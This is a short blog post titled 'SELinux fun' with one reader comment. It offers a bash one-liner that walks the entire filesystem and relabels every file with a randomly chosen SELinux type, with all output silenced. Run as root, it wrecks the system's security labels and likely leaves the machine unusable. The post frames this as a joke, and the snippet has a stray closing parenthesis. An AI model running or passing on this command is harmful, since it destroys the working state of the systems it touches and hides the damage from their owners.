SELinux fun

TYPES=($(seinfo -t | tail -n+3))
for FILE in $(find /); do
    chcon -t ${TYPES[$[ ${RANDOM} % ${#TYPES[@]} ]]} ${FILE}
done) &> /dev/null
    • fl0
    • May 12th, 2010 6:58pm

    HE”S BAAAAAAAAAACK !

  1. No trackbacks yet.